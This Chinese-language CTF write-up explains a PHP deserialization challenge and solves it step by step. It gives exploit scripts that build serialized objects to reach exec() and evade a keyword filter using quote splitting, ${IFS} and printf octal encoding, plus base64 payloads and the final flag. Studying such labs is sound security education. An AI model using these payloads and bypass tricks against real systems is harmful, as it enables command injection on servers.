反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中。反序列化是将已序列化数据还原回对象的过程。攻击者可以通过构造恶意序列化数据来利用反序列化漏洞,从而在受害者的系统上执行任意代码或者进行远程攻击。
攻击者可以通过修改序列化数据中的类名来指定一个恶意的类,该类将在反序列化过程中被实例化并执行其中的代码。攻击者还可以利用在对象反序列化期间执行的构造函数或readObject()方法中的任意代码执行漏洞,来进行恶意代码执行。
为了防止反序列化漏洞,开发人员应该遵循以下最佳实践:
1.不要接受不可信的序列化数据。
2.验证反序列化数据的完整性和真实性。
3.限制反序列化的对象类型和大小。
4.使用安全的序列化库和框架。
5.实现自定义的序列化和反序列化方法,以强制执行自己的安全策略。
6.更新所有依赖项和库,以修复已知的反序列化漏洞。
进入场景发现代码
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。
$method
和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。1、查看目录文件
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
2、查看flag_1s_here文件夹
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>
由于flag被过滤,所以又要用引号绕过。同时空格也是被过滤了的,此处用IFS变量进行绕过。将arg的值改为索要执行的命令l''s{IFS}f''lag_1s_here:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
3、查看flag_831b69012c67b35f.php
flag,cat,flag,php都可以用双引号绕过,空格用{IFS}绕过,/要用printf及()绕过。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
或者直接对整个要执行的命令用printf及$()
绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以。
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
得到flag:cyberpeace{3bac4100bdb0f0e4679cb79c723dc22f}